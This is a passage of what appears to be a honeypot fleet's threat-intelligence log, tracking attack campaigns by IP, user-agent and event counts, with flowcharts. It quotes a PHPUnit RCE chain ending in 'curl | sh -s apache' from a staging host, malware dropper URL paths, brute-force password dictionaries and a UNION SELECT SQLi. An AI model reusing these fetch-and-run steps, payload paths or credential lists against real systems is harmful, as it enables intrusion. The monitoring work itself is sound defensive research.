(18th window): 16 full-kit IPs × 37 ev across 7 sensors; staging host 217.60.103.56 in bodies; repeat 102.244.97.185. №35 (17th window): 9 full-kit IPs at 37 ev each + 7-ev php-cgi delivery leg (same IPs, /bin/sh + cmd-injection-php-cgi-rce paths) across ai-devbox-1/netcup/sponge; dropper 12/12 → 217.60.103.56 arg apache. №33 (15th window): 18 full-kit IPs across ALL 8 sensors.
flowchart LR
P["md5(Hello PHPUnit)<br/>eval-stdin.php probe"] --> RCE["POST /index.php<br/>shell_exec(base64) →<br/>ed25519 key exfil"]
RCE --> DROP["POST /bin/sh dropper<br/>217.60.103.56/sh"]
DROP --> SH["curl | sh -s apache"]
INFOCREST-KIT idle
№53: 103.214.20.135 absent. A kit-shaped composite census ran under watch single 155.117.232.31 (phpmyadmin-login + phpunit-eval-stdin + env fanout, 4 sensors, 4 tracebit-http-error) but its stale Firefox/77 + Chrome/91 UA set does not match the kit's modern rotation — not attributed. №52: 103.214.20.135 RETURNED on 4 sensors (533 ev: aidev phpmyadmin-login 10 + sponge config-backup 5); 173.249.253.116 absent; no mints this window. №51: EIGHTH operator + .116's second window, fleet-wide — 173.249.253.116 ran SIX sensors (647 ev, 07:20–08:21 EDT) and NEW 103.214.20.135 (Host Universal Pty AU) ran FIVE (971 ev, 01:12–05:48, 7 mints); identical 16-UA rotation (Chrome 105–107 / Firefox 105–106 / Safari 16 + python-requests/2.32.5); adminer prod_rw POSTs (OQn1pAvGlHfGzKFLtLBqRw) + user=root&pass=wrong form login re-captured. №50: SEVENTH operator — 173.249.253.116 (tzulo US) ran the composite kit on 3 nodes (lauterbourg, aidev, farm; 765 ev, 30 POSTs, 23:05–00:04 EDT): tarpit cycling → phpmyadmin-login ×60 → adminer prod_rw POSTs with rotating 22-char passwords (y6BURr5uveZT_CgBSbVP7w, t60rl7Ls-JPLsVBDfD1S3Q) → webapp-config-bundle ×120 → wp-batch multiplex + tomcat-path-bypass-env ×30 + a form-login stage (user=root&pass=wrong ×6 — NightAgent overlap) + kiteworks legs; 6 mints (aidev 3, farm 3); no phpunit verify or dropper body captured. Composite kit, operator + password rotate per run. №23: fifth operator 41.249.4.249 (first residential). №24: absent.
Named operator 69.5.20.14 (Byteplus, ID). №24: first idle window. Byte-identical 404-path passes, 9-UA rotation, /.aliyun/* sweep.
flowchart LR
OP["Byteplus 69.5.20.14<br/>9-UA rotation"] --> CENSUS["404-path byte-identical<br/>census + suffix fanout"]
CENSUS --> ALI["/.aliyun/* 21-path<br/>credential sweep"]
ALI --> ZERO["0 mints —<br/>recon only"]
SYNC-ENUM-WAVE merged
MERGED into WP-FORM-BRUTE (№41): the fleet-wide wp-user-enum wave runs the SYNC-ENUM Chrome/127 UA family AND registered SYNC-ENUM runners (103.154.62.39, 119.198.229.152) inside the WP-FORM roster, now with credential POSTs added. Origin: №25 — 8 IPs, byte-identical 282-ev user-enum passes (270 tarpit + 12 enum calls), staggered ~15 min.
flowchart LR
Q["Scheduler queue<br/>1 IP per ~15-min slot"] --> P["Byte-identical 282-ev pass<br/>270 tarpit cycles + 12 enum calls"]
P --> N1["control"]
P --> N2["ru-edge"]
P --> N3["sponge"]
N1 --- ZERO["0 mints"]
MEGA-DICT active
№53: TWENTIETH replay — 23.234.116.20 (tzulo, inc. US — the ASN behind №34's 23.234.117.146) frantech-ts 13,606 ev / 13,606 distinct paths in ~1 min (00:12–00:13 EDT 10-16), 94% of the node's day; replay-only, 0 mints. №52: NINETEENTH replay — 176.119.150.64 (Owl Limited DE — the org name behind SS-PROBE's Owl Limited JP) frantech 13,583 ev / 13,583 paths in 91 s (01:26 EDT 10-15), router UA set (ASUS/TP-LINK/Tenda/Tencent) + curl/8.2.1 + Chrome/119 aarch64; 12,995 of 13,583 paths match the saved 13,000-path capture (+583 growth vs it, +18 vs №51's 13,565); 4 single decoy hits, 0 mints. №51: EIGHTEENTH replay — NEW host 185.209.196.130 (31173 Services AB DE, the ASN's third replay host after №30's 185.213.155.227 and №34's 193.32.126.191): 13,565 ev / 13,565 distinct paths in 2 min (02:10–02:12 EDT, frantech-ts), +11 paths vs №50. The same ASN also ran a small app-config census (193.32.126.169, UA 'wsn') on 3 nodes — two templates in one window again. №50: SEVENTEENTH replay — 23.234.118.20 (tzulo US, the ASN's third replay host) ran 13,554 ev / 13,554 distinct paths in 54 s on frantech-ts (23:56 EDT) under 200+ router/IoT device UAs; anti-join vs №49's set: +19 / −1 (13,536 → 13,554 measured). New: /bins/dvr/akuma_* ×13 archs + /bins/telnet/akuma_x64 (akuma grows), /armv7-l7 + /x64s-l7 (L7-filter variants), /enroll.sh, /nezha-agent, /in, /ront. 0 mints. №49: SIXTEENTH replay — 185.209.196.172 (31173 Services AB DE, ipsum:2, the ASN's THIRD host after №30's 185.213.155.227 and №34's 193.32.126.191) frantech 13,535 ev / 13,535 paths in ~1 min (00:48 EDT); anti-join vs №48 +33/−0 (13,502 → 13,535, ELEVENTH straight growth): /bins/android/akuma_* ×19 archs, /pack/agent/nodewatchd-linux-* ×8 archs, /bins/payloads/{c,w}.sh, /champ, /miner_setup.sh, /rainii686, /st_x86_64, /svc/u.sh. Host ledger: Datacamp ×5, tzulo ×3, 31173 ×3, Zenlayer ×2, Owl ×1. №48: FIFTEENTH replay — 23.234.118.20 (tzulo US — the №34 host class returns; ipsum:1) frantech 13,502 ev / 13,502 paths in 54 s; anti-join vs №47 +13/−0 (13,489→13,502, TENTH straight growth): new /mogh739/{metrics-agents,static-assets}/-/raw/main/* GitLab-raw installer set (11 paths), /d/432936b3a0439572/o/nnnnnede/init.sh2, /payload/1ay0eknhal4o/6lpiz8.sh. №47: FOURTEENTH replay — 193.32.248.142 (31173 Services AB DE, NEW host class for the campaign; ipsum:2) on frantech 05:21–05:22 UTC: 13,490 ev / 13,489 paths, 200+ router/IoT UAs, GET-only; anti-join vs №46 +11/−0 (13,478→13,489; growth series …+31/+29/+4/+11, ninth straight growth); 0 mints. №46: THIRTEENTH replay — 138.199.60.3 (Datacamp Limited SG, ipsum:1; new country for the Datacamp class) replayed on frantech 02:01–02:03 UTC: 13,478 ev / 13,478 paths in 2 min, GET-only, 95% of the node's window volume. Wordlist +4 vs №45's 13,474 (growth series …+31/+29/+4). Host ledger: Datacamp ×5, 31173 Services AB ×2, tzulo ×2, Zenlayer ×2, Owl ×1. №45: HOST RETURNED TO DATACAMP CLASS — 178.249.209.163 (Datacamp Limited CZ, ipsum:1) replayed on frantech 02:09–02:11 EDT: 13,474 ev / 13,474 paths in 2 min, GET-only, 208 UAs (IoT-router UPnP class this pass: Mi Router 3E, UniFi Dream Machine Pro, Totolink A3002RU, Phicomm P804-N2 + python-requests). Wordlist ≥+29 vs №44's 13,445 (13,474 distinct; +29 floor — /ce.sh, /qv3.mips first-seen). Host ledger: 31173 Services AB ×2, Datacamp ×4, tzulo ×2, Zenlayer ×2, Owl ×1. №44: HOST ROTATED — 176.119.150.252 (Owl Limited DE, new host class) replayed on frantech 01:24–01:25 EDT: 13,445 ev / 13,445 paths in 90 s, GET-only, 208 UAs. Anti-join vs №43's 13,414: +31 new / −0 dropped — SIXTH straight growth (+6/+27/+34/+39/+17/+31). New: /bots/{bot,dldr,mb,go_bot}.* families, /bins/morte.{arm,x86_64}, /bins/xnxnxnxn* ×6 archs, /pack/agent/nodewatchd-linux-386, /nyx_bot_linux_amd64_exec, /Hilix.sh, /87sbhas6as.sh, /adb.arm7, /m.sh. №43: 98.98.47.133 (Zenlayer MY, №40's host) returned — frantech 00:23–00:25 EDT, 13,414 ev / 13,414 paths in 2 min. Anti-join vs №42's set: +17 new / −1 dropped (13,398 → 13,414) — fifth straight growth (+6/+27/+34/+39/+17). New: /backup/winki.* ×10 archs, /nyx_bot_linux_{amd64,mipsle}_packed, /bins/dlink.sh, /bins/morte.i686, /botbin, /dropfix, /main_host, +3 /c/ token paths. №42: SAME-HOST RETURN — 185.213.155.227 (31173 Services AB, №30's host) replayed on frantech-ts 23:32–00:33 UTC: 13,398 events / 13,398 paths over ~1 h (slow pass vs the 2-min bursts), 0 mints. +209 paths vs its own 09-24 set; +39 vs №41's pooled 13,359 (4th straight growth: +6/+27/+34/+39). New families: /bins/aurora.* (Aurora), /bin/manta.* ×13 archs, /release/DS.*, /302/*, random-token paths. №41: 138.199.6.234 (Datacamp CH), +34 incl. first xmrig entries.
flowchart LR
F["13,398-path IoT dropper-URL<br/>dictionary (+209 vs host's 09-24)"] --> R1["Replay: 31173 AB host<br/>frantech-ts · ~1 h slow pass"]
R1 --- B["0 POSTs · 0 mints<br/>byte-shared artifact"]
F --- NEW["New families:<br/>aurora.* · manta.* ×13"]
WP-BATCH family recurring
Not a standalone campaign since №12: wp-batch bodies ride inside INFOCREST-KIT / AKAMAI-CONFIG / NIGHTAGENT chains (SQLi via author_exclude UNION SELECT).
№52: absent — 0 __ss_probe marker events. №46: 105.115.6.147 continued (4 mints: aidev 3 + farm 1, 5/6d); 105.115.5.210 absent. №45: THIRD-GENERATION operators — 105.115.5.210 ran the marker+mint template 3× (aidev 19:33, farm 20:06, aidev 20:24 EDT) + sibling 105.115.6.147 once (aidev 21:06), 4 mints, fresh marker per run, python-requests/2.31.0 — the 105.115.x pool recurs (№33's operator was 105.115.10.78). №44: same operator RETURNED on schedule — 105.112.26.83 minted 4 in 1 h (aidev ×3 + farm, 03:50–04:50 EDT), second consecutive window, same cadence. №43: THIRD operator — 105.112.26.83 minted 4 in 1 h (aidev ×3 + farm, 03:50–04:50 EDT) with marker /__ss_probe_6044ce427532cb1225692c4f1807383d__ under python-requests/2.31.0. №34: 105.115.10.78 returned solo (4 markers / 4 mints on ai-devbox-1) — its second run; 23.234.77.64 and the №32 originals absent. Operator ledger: 5 operators / 5 ASNs, every marker suffix fresh per run.
flowchart LR
P["GET /__ss_probe_<32-hex>__<br/>python-requests/2.31.0<br/>guarantees first-seen"] --> E["GET /.env → 200<br/>canary mint"]
E --> END["Run ends<br/>no POST · no fanout"]
CONFIG-SWEEP idle
№52: absent — 87.120.104.29 0 ev; first absence since the №47–№51 arc; 18 held credentials unwatched. №51: RETURN — 87.120.104.29 (Sino Worldwide NO, Googlebot/2.1 forgery) ru-edge 3,000 ev / 1,642 paths / 140 fams in two passes (11:39 + 19:31 EDT), 12 mints issued at /.env-class paths (18/6d) — the campaign's biggest mint run; drove ru-edge's app-config-php/app-config-python/application-properties/terraform-tfstate/webapp-config-bundle-js/fake-git/phpmyadmin spikes. №48: FIRST MISS in six windows — 87.120.104.29 absent; 12/6d held unused. №47: FIFTH window — ru-edge 1,650 ev / 1,642 paths / 140 fams in ~1 min (10:12 UTC 10-09, Googlebot/2.1) + 6 mints 10:12:40–50 (12/6d, 0 use); env-production ×187, ssh-private-key-error ×28, webshell-probe ×39. №46: FOURTH window — ESCALATED: 87.120.104.29 burst 300 ev / 150 paths / 40 families on canary-farm-1 in ONE SECOND (21:45:13–14 UTC, Googlebot/2.1); 144 events carried the NEW env-production-error tag (farm's env-production decoys answering /.env_backup, /.env.saved, /docker-compose/.env, /.env.old~ variants); 2 mint failures (400), 0 mints today (6/6d all from the 10-06 ru-edge run). №45: THIRD CONSECUTIVE WINDOW — 150 events (the light Googlebot/2.1 pass shape; node count verified 150 total). №44: SECOND CONSECUTIVE WINDOW, first on ru-edge — 1,650 ev / 140 fams / 1,642 paths in one burst 20:39 EDT under Googlebot/2.1: wp-config variant census + 12 SSH-private-key paths (drove ru-edge's new ssh-private-key-error tag, 30 ev) + 6 mints at /.env — FIRST MINTS SINCE №33. №43: 87.120.104.29 RETURNED with a changed kit — netcup 150 paths in 0.087 s under Googlebot/2.1, webshell-probe ×6 + dockerenv-marker (the Tamatiya shape), not the .env census; 0 mints. 87.120.104.29 (Sino Worldwide NO, Googlebot/2.1 forgery). №33: SECOND mint run — 12 mints inside farm's 2,950-ev 1-minute burst + 6 on control's 1,239-ev census. №34: NO NEW RUN — the window's control rows and 6 mints are the №33 run seen through the 24-h seam.
flowchart LR
B["1-minute census burst<br/>1,600+ paths, 121 families"] --> W["wp-config · app-config ·<br/>aws-credentials paths"]
W --> MINT["/.env mints<br/>18 in-window"]
WP-FORM-BRUTE active
№53: pool e6e6f15a77e8 14 IPs / 42 ev on ai-devbox-1; the wp-admin leg 09d3f351065c returned (7 IPs / 56 ev, ai-devbox-1). №52: contracted — pool e6e6f15a77e8 38 IPs / 114 ev on aidev+farm; the №51 wp-admin leg 09d3f351065c absent; 0 mints, well below the 200-pair alarm. №51: TWELFTH window + NEW wp-admin walk leg (09d3f351065c, first seen 10-14): 21 IPs / 168 ev on aidev+farm under forged Chrome/146–152 — probe → credentials → /wp-admin/profile.php + /wp-admin/ [wp-admin-redirect] + wp-rest-auth-required (farm 44 + 39; aidev wp-login-credentials 79 4.1× / probe 164 5.0×); MEGA-DICT's replay (185.209.196.130, router UAs) also crossed the wp paths. №50: ELEVENTH window — ed66 leg 18 IPs / 72 ev (farm+aidev); df15 leg 3 IPs / 168 ev on farm+netcup+ru-edge (netcup and ru-edge are new nodes for df15); below the 200-pair growth alarm. №47 TENTH window — NEW CLASS 75df0dbb0841: 12 residential IPs × exactly 3 credential POSTs each (36 total, log=admin, tiny dict: Admin, admin@123, Admin@123, pass, demo, droidx1!, Bot@123456, sso@123, admin1!), FIRST vhost-aware redirect_to (sso.rightabouteverything.show on farm, inference.fapthropic.com on aidev); prior classes out. №46 NINTH window — CONTRACTED to background: 78 credential POSTs (farm 40, aidev 38) from the standing wp-login cluster (sig 9ff5e462ca0e: 22 IPs / 154 probe+credential events); the CANADA 217.60.x class absent, no year-theme bodies captured. №45 EIGHTH window — MAJOR ESCALATION: 886 wp-login-credential POSTs (farm 459 + control 427, 8.2×/inf ratios) from ~25 IPs. NEW OPERATOR CLASS: 12651980 CANADA INC. (AE) block 217.60.196.x + 217.60.198.x ran a synchronized distributed wave on farm+control (≥19 IPs, 18–44 POSTs each, 10:48–22:17 EDT) with a YEAR-THEMED dictionary — log=admin|webmaster vs pwd=Admin#2026, Webmaster!2024, P@ssw0rd@2026 (bodies verbatim, _wpnonce + testcookie anatomy kept). NEW xmlrpc method wp.getAuthors (2 POSTs). Second class: 3-IP synchronized tarpit+brute (160.251.210.23 GMO JP, 107.190.185.67 Silver Star US, 51.210.150.97 OVH FR, 09:04 farm + 09:18 control, 14 min apart, 16-min POST cadence) + singles 43.162.96.166, 159.223.213.68, 162.243.247.186, 185.216.203.177. FIRST control-1 wp-login activity at scale; enum rest-single 20 ev (.14). №44 SEVENTH window — CONTRACTED: 80 credential POSTs / 13 IPs + 9 xmlrpc / 6 IPs (ed66 leg only); enum absent a THIRD window. №43 SIXTH window: enum stage absent a SECOND window (0 wp-user-enum-rest); 92 credential POSTs from 42 IPs + 123 probes / 41 IPs + 32 xmlrpc / 24 IPs; ed66 leg 21 IPs / 84 ev — the only registered signature in today's cluster table. ⟳ 5th window №42: roster grew to 46 runner IPs across the wp-login/xmlrpc/enum surfaces, but the wp-json ENUMERATION STAGE VANISHED (0 wp-user-enum-rest vs ~840 in №41) — a credential-only wave: df15d0ee3ccf 6 IPs/370 POSTs (3 sensors) + ed66cc967251 21 IPs/84 + NEW sig 2bdde2df2cf6 (4 IPs, aidev). NEW one-POST generation (Chrome/152 class) derives passwords from the target vhost: pwd=inference (fapthropic), pwd=sso (rightabouteverything), amen123. №41: ~25 runners, 840 enum + ~540 credential POSTs.
flowchart LR
Q["Rotating roster<br/>~25 runners · 7 of 8 nodes"] --> E["wp-json users list<br/>+ single-ID enum"]
E --> G["GET /wp-login.php probe<br/>harvest nonce + testcookie"]
G --> P["POST log=admin|webmaster|editor<br/>one password per body"]
P --> R["redirect_to = fleet vhost<br/>numeric + dictionary modes"]
ZKILLU-GITWALK idle
№40: NO SECOND WINDOW — 169.40.142.2 absent, no second IP or node, and no AWS use of its 2 canaries. One window so far. №39 ⚠ NEW: single-IP git-internals mass walk — 169.40.142.2 (Zkillu SAS FR) ran 14,787 events / 10,150 paths / 44 families on canary-farm-1 in 10 minutes (12:46–12:56 UTC+4), the fleet-record single-IP event. Shape: HEAD / + robots/sitemap tarpit probes, a config census (/config/app.php, /html/.env, /.circleci/config.yml, /credentials.json, /secrets.json, /.aws/credentials, /.env — 2 mints), then the fake-git mass: 11,281 fake-git-miss + 2,333 fake-git + 760 fake-git-redirect, with HTML-fragment garbage paths (/.git/logs/refs/<h1>Index, /<pre>, /<hr>) that indicate the tool scrapes link targets out of served HTML. Bare stripped-Chrome UA (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, no platform token). Drove canary-farm-1 +262% and the fake-git-miss 3,760× spike.
flowchart LR
T["HEAD / · robots.txt · sitemap.xml<br/>tarpit probes"] --> C["Config census<br/>.env · CI configs · secrets"]
C --> MINT["/.env — 2 mints"]
C --> W["Git-internals mass walk<br/>14.4k fake-git events"]
W --> GARBAGE["HTML-fragment paths<br/>/.git/logs/refs/<h1>Index"]
SS-NET TOOLING idle
№53: absent — 80.94.95.211 0 events / 0 mints this window. №44: .211 minted 2 (Chrome/5.0.358 forgery) and used 1 credential (4 ops: GetCallerIdentity ✓ + ListFoundationModels ×2); .92.65 minted control-1 (Chrome/75 Android forgery). ⟳ standing .env-variant walker, sig 6a6fdaca6a1f / SS-Net RO. №42: collector .92.65 minted 7 across aidev/control/farm under rotating mobile+desktop forgeries (17/6d); primary .211 ABSENT — first miss in five windows. №41: .211 minted 2 and used 1 credential (5th use window).
№40: no second window (0 events). №39 ⚠ NEW: Sonicwall SSL-VPN login probe, signature a2176d32b35f (first seen 10-02) — 4 IPs, one per sensor (ai-devbox-1, canary-farm-1, frantech-ts, sponge-01-ts), 52 events: /auth.html [sonicwall-portal 200] → /auth1.html → /sslvpnLogin.html → companion webshells. Lineage: №14's 45.79.218.38 ran the same 15-ev shape solo on a Linode IP. 0 mints; promote on a run with credential POSTs.
flowchart LR
A["/auth.html<br/>sonicwall-portal 200"] --> B["/auth1.html"]
B --> C["/sslvpnLogin.html"]
C --- Z["0 mints · 4 IPs · 4 sensors"]
TOKEN-CRAWLER recurring
⟳ /24 45.198.224.x. №42: FULL TEMPLATE RETURN — 9 fresh /c/<100-char token> paths on frantech-ts (first-seen) + .env directory variants on netcup (/queue/.env, /tokens/.env, /mail/.env); 0 mints. .124/.125 ran bare tarpit-module passes on 7-8 nodes. №39: scout shape; №38: 3 synchronized frantech waves.
flowchart LR
T["45.198.224.x /24<br/>forged Chrome/114"] --> C["/c/<100-char token> walk<br/>+ .env directory variants"]
C --> Z["0 mints · census only<br/>3 synchronized waves"]
BUCKLOG-KIT recurring
№52: 185.177.72.64 return — lauterbourg 258 ev / 254 paths + 2 mints on aidev (4/6d); gravitysmtp + openapi + phpunit census shape unchanged. №51: census arm on netcup — 161.178.140.14 (Amazon US, Chrome/123 forgery) 191 ev / 53 paths / 12 POSTs in 2.5 min (02:03 EDT): gravitysmtp-* census (mock-data/settings/config/miss) + phpunit-eval-stdin ×2 + webshell sweep; 0 mints. №50: census arm back — 185.177.72.75 ran frantech-ts (NEW node for the arm): 999 ev / 264 paths / 5 fams in 6 min (21:35 EDT) under an 11-UA modern rotation that included the CREDSWEEP Mozlila/5.0 typo forgery (79 ev); 15 POSTs; sibling .49 minted 1 on control (19:06 EDT). №49: .64 minted 2 on control (23:36 EDT, Firefox/5.0 forgery) and 1 credential reached AWS — the /24's SECOND mint+use after №44's .205 SES run, and this time from 4 egress IPs (see CREDENTIAL-DRAIN). .38/.75/.9/.100/.205 absent. №47 WIDEST window — NEW operator .100 ran control's largest census (1,433 table-ev / 1,637 raw / 1,008 paths / 102 fams in 20 min, curl/8.7.1) incl. control's 10 first-seen SaaS/backup paths (xai_config.yml, mailgun, brevo, sparkpost, mongodump.zip, docker-compose.yml.tar.gz, sentry, rabbitmq, prometheus/rules, internal/configprops); .38 fourth consecutive window; .205 moved to lauterbourg (244 raw ev) + 1 control mint. №46 FIFTH window — census arm STAYED on control-1: 185.177.72.38 ran 244 ev / 76 paths / 19 families 05:25–05:30 UTC (curl/8.7.1, ipsum:4+firehol2); its 1 /.env mint attempt 400-failed (Tracebit rejection, the census arm's first); .75/.64/.9/.205 absent. №45 FOURTH window — census arm moved to control-1: .75 ran 564 ev / 277 paths / 33 trap families / 1 POST 08:41–08:45 EDT (33 fams is the window's deepest single-IP family spread), .64 censused netcup (256 ev / 253 paths), .9 and .205 absent; 0 mints this window (.205's №44 mint+SES-use so far one-off). №44: census arm THIRD window, wider — .75 netcup 1,096 ev / 485 paths / 4 POSTs 18:52–18:59 EDT + .9 frantech 188 ev + .205 farm 188 ev; NEW: .205 minted 1 (curl/8.7.1) and used 2 canaries against SES (GetCallerIdentity ✓ + GetSMSAttributes/GetSendQuota denied) — first Bucklog mint, first SES link. Bucklog SARL FR /24. №42: THIRD consecutive census window — 185.177.72.75 hit netcup (460 ev / 247 paths, 02:24–02:28 UTC) AND frantech-ts (115 ev / 59 paths, 00:44–00:49), 12 webshell-probe results on netcup; 0 mints. №41: control-1 1,022 ev. Original kit (phpunit verify + reverse shell) dormant since day 7; promote on any phpunit/RCE POST.
flowchart LR
C["185.177.72.75<br/>410-path census · 35 families"] --> E[".env-variants · wp-config ·<br/>database.yml walk"]
E --> P["5 POSTs to / —<br/>tarpit-eaten, no bodies"]
P --- Z["0 mints · 2 windows<br/>netcup №40 → control №41"]
KITEWORKS-CRAWL idle
№53: NEW candidate operator — 176.123.5.6 (Alexhost Srl MD) ran a 9-UA census with 14 kiteworks-asset fetches on lauterbourg (305 ev / 252 paths / 19 fams incl. /mifs/user/login.jsp, /actuator/env, .js.map source maps) plus 15 ev on canary-farm-1; promote on a repeat. №52: absent — 34.52.229.253, 35.205.254.119, and 45.138.12.27 all 0 ev. №50: Google-class IP 104.199.36.53 (GCP) ran the crawl shape on the kiteworks vhost (117 ev bare stripped-Chrome + 25 Chrome/128); REGISTRY-HUNT l9scan legs rode the same vhost. Dedicated Tc Datacenter / AWS classes absent. №49: THIRD window — 45.138.12.25 (Tc Datacenter LT, the same block as №43's .27) ran the full crawl on lauterbourg (143 ev, 10:14 EDT): kiteworks-root-redirect → /login [kiteworks-shell] → 23 kiteworks-asset bundles → webshell sweep + probe + 101-path not-handled census. Three windows, three operator classes (Google BE ×2, AWS 16.216.88.x, Tc Datacenter LT ×2). №47: IDLE — both dedicated classes absent; the 428-ev kiteworks vhost on lauterbourg carried REGISTRY-HUNT's new deeper-Jira signature b3c6048a4870 (8 runner IPs × ~40 ev: 167.172.232.142/.158.128, 167.99.182.39, 207.154.197.113, 206.81.24.227, 146.190.63.48, 157.230.19.140, 128.199.182.152) — the decoy now fingerprints the LeakIX variant at zero cost. №46: THE GOOGLE BE CLASS RETURNED with fresh IPs — 35.241.178.74 (119 ev, 14:35 UTC) + 34.156.206.32 (143 ev, 20:47 UTC, incl. kiteworks-asset bundles) ran the crawl on lauterbourg; vhost volume 554 (up from 506). The №45 AWS 16.216.88.x class absent. №45: TEMPLATE RETURN UNDER A NEW OPERATOR CLASS — a synchronized 4-IP AWS cluster (16.216.88.25/.51/.102/.126) ran the full crawl shape on lauterbourg 05:23–05:24 EDT: kiteworks-root-redirect → kiteworks-shell → 3–4 kiteworks-asset bundles each + tarpit passes (~30–41 ev per IP); the Google BE pair stayed out a SECOND window. Vhost volume 506 total (incl. generic censuses 143.244.57.86 98 not-handled, 31.56.58.43 50, and the l9scan wave). №44: FIRST ABSENCE — no kiteworks-shell passes; vhost volume 1,106 under generic env censuses only. №43 SECOND window — recurring: repeat Google BE IP 35.205.254.119 (119 ev, 04:33 EDT) + NEW operator 45.138.12.27 (Tc Datacenter LT — the l9explore block; 141 ev, 09:35 EDT) with the same shape: root-redirect → /login → 23 kiteworks-asset bundles → webshell sweep+probe + a 103-path not-handled census; bare-Chrome + Chrome/128 UAs; 34.52.229.253 absent; 0 mints. ⚠ №42: FIRST third-party traffic on lauterbourg-01-ts's Kiteworks decoy — 2 Google LLC BE IPs (34.52.229.253, 35.205.254.119) ran ~1-min passes (144/119 ev): kiteworks-root-redirect → /login [kiteworks-shell] → 23 kiteworks-asset JS bundles → webshell-sweep + webshell-probe + not-handled census. UAs: bare stripped Chrome (no platform token — the ZKILLU class) + Chrome/128. 0 mints. Watch for a second node or a return with credential paths.
flowchart LR
K["Google BE IPs ×2<br/>bare Chrome + Chrome/128"] --> R["kiteworks-root-redirect"]
R --> L["/login<br/>kiteworks-shell"]
L --> A["23 kiteworks-asset<br/>JS bundles"]
A --> W["webshell probes +<br/>census · 0 mints"]
CONFIGBUNDLE-SWARM idle
№52: absent — 0 events from the 45.154.138.x /24, 167.99.79.44, and 45.79.200.28. №50: NEW operator class — 167.99.79.44 (DigitalOcean SG) under Chrome/81: the 20-path webapp-config-bundle-js census + 7 mints across 4 sensors in 19 min (17:35–17:55 EDT; farm 3, aidev 2, control 1, ru-edge 1) — the swarm's largest single-IP mint haul. ⟳ 45.154.138.x /24 on control-1, PROMOTED №43 on a second mint window (9 mints vs №42's 3): .72/.51 Chrome/106 + .88 Chrome/39 config-bundle censuses, then a 61-s python-requests burst minting 1 each from 6 more IPs (.70/.78/.84/.95/.164/.165) at 11:30–11:31 EDT. Sibling shape: 45.79.200.28 (Akamai/Linode) ran the same 20-path webapp-config-bundle-js census on control + ru-edge and minted 1 each — same kit, second block. Promote the Linode IP on a third window.
№45 THIRD window: quote-garbage variants PERSISTED (a157d6c255ee /.envrc"] 7 IPs control+ru-edge 49 ev; c7411f59a56f /var/.env"] 7 IPs control+frantech+netcup 49 ev) and e4cbfe2556fa /var/.env ran ru-edge-only again (8 IPs, 53 ev); d045b89fe96b absent; 0 mints — tarpit absorbs all four sigs. №44 SECOND window: registered sigs ran ru-edge-only (d045b89f 6 IPs / e4cbfe25 6 IPs, 42 ev each); NEW quote-garbage variant sigs c7411f59a56f /var/.env"] (10 IPs, control+frantech+netcup) + a157d6c255ee /.envrc"] (9 IPs, +ru-edge) — ~19 residential IPs, 9–17 ev each, first seen 10-07; 0 mints. ⚠ NEW №43: distributed mobile-UA walker against tarpit-served env paths — sig d045b89fe96b /.envrc (14 IPs, 6 nodes) + e4cbfe2556fa /var/.env (7 IPs, 5 nodes), first seen 10-06, fleet-wide, ~9–13 events per IP. Rotating modern mobile forgeries (Chrome/153–156 Android/iOS, Firefox/152–156 mobile). 0 mints — the tarpit eats every walk; residential egress class like WP-LOGIN-BRUTE's pool.
flowchart LR
P["Residential mobile IPs<br/>Chrome/153-156 · FF/152-156"] --> E["/.envrc + /var/.env<br/>tarpit-module walks"]
E --> Z["0 mints · fleet-wide<br/>sigs d045b89f / e4cbfe25"]
KEYHUNT idle
№46: FIRST ABSENCE — 168.119.64.101 out, no second IP or node; its 8 canaries remain unused (check pull-window before calling them dead). ⚠ NEW №45: self-labeled UA `Mozilla/5.0 (keyhunt)` + honest `git/2.34.1` for git stages — 168.119.64.101 (Hetzner DE) ran 4 passes on ai-devbox-1 06:18–13:22 EDT (428 ev / 83 paths / 21 families): config.yaml/yml, values.yaml, secrets.yaml, conf/*, docker-compose, litellm-admin-unauthenticated, actuator-env, firebase-json, aws-credentials-file, netrc, fake-git, llm-endpoint-models-list, tarpit rides. 8 mints at /.env (8/6d, all this window, 0 AWS use). Owns aidev's app-config-yaml 14.8× and config-json 3.1× spikes and 468 of the fapthropic-vhost 737 events. Single IP, single node — watch for a second IP/node.
flowchart LR
K["168.119.64.101 Hetzner<br/>UA Mozilla/5.0 (keyhunt)"] --> C["config.yaml · values.yaml ·<br/>secrets.yaml · litellm · actuator"]
C --> G["fake-git walk<br/>git/2.34.1 honest"]
G --> MINT["8× /.env mints<br/>ai-devbox-1 · 0 AWS use"]
LLM-ENDPOINT-PROBE idle
№53: absent — no third operator; both prior clients quiet. №52: SECOND OPERATOR + SECOND NODE — 52.250.210.67 (Azure) on sponge-01-ts 09:47 EDT: 6 model-list probes (only /v1/models [llm-endpoint-models-list] 200) then 90 POST /v1/chat/completions in 11 s, all 200, 142–234 B bodies not captured; honest UA Python/3.12 aiohttp/3.14.5. №44: NO SECOND WINDOW — 104.168.115.214 absent, 0 llm-endpoint events; single window on record. ⚠ NEW №43: 104.168.115.214, honest UA AutoGenX-Engine/9.1 — 48 POSTs against lauterbourg's LLM decoys over 18 h: /api/tags → 10× /api/chat (Ollama) 09:06–10:22 EDT, then 4× /v1/models + 33× /v1/chat/completions 13:17–03:01. All 200; request bodies not captured. This IP owns the llm-endpoint-openai-chat 16.5× spike.
flowchart LR
T["/api/tags<br/>ollama-tags 200"] --> C["10× /api/chat<br/>ollama-chat"]
C --> M["4× /v1/models + 33×<br/>/v1/chat/completions"]
M --- Z["AutoGenX-Engine/9.1<br/>1 IP · 18 h · all 200"]
MEVSPACE-GITWALK idle
№52: absent — the window's git/2.40.0 144-ev walks belong to GIT-VAULT's pair; no env-named-refs template observed. №51: FIFTH operator — 209.50.174.90 ru-edge 144 ev / 142 paths in 6.3 s (02:33 EDT) under an honest git/2.40.0 UA (template's first git-client UA; prior operators used stale Firefox/78); owns 143 of ru-edge's 191 fake-git events. №50: REVIVED under two fresh DigitalOcean IPs — 159.223.234.149 (NL) ran 143 fake-git on ru-edge in 2.5 s (17:48 EDT); 178.62.42.21 (UK) ran 143 on control in 3 s (00:56 EDT 10-13); stale Firefox/78 UA intact; wordlist EXPANDED with env-named refs (first-seen /.git/refs/heads/{stg,sandbox,nightly,stage,demo,canary}, /.git/refs/remotes/origin/{stable,beta}, /.git/logs/refs/…/{stage,demo,bugfix,testing}); 0 mints. №45: first miss after the №44 return — no fake-git walk cluster in the digest cluster table (gen-3 Hetzner IPv6 2a01:4f9:c015:3f79::1 absent). №44: THIRD-GENERATION Hetzner IPv6 operator — 2a01:4f9:c015:3f79::1 (new /16; prior: 